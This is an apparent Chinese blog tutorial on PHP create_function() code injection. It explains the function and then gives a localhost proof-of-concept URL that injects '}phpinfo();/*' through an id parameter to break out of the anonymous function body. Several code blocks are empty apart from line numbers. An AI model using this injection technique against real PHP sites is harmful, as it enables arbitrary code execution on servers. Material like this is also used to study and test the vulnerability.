create_function()代码注入
摘要
create_function() 代码注入
第一部分:php函数 create_function() 介绍
理论:
create_function()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。
1 | string create_function ( string $args , string $code ) |
string $args 变量部分
string $code 方法代码部分
举例:
1 | create_function('$fname','echo $fname."Zhang"') |
类似于:
1 | function fT($fname) { |
举一个官方提供的例子:
1 |
|
第二部分:如何利用 create_function() 代码注入
测试环境版本:
apache +php 5.2、apache +php 5.3
有问题的代码:
1 |
|
漏洞利用:
1 | http://localhost/02-8.php?id=2;}phpinfo();/* |
执行函数为:
1 | 源代码: |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 事在人为!
评论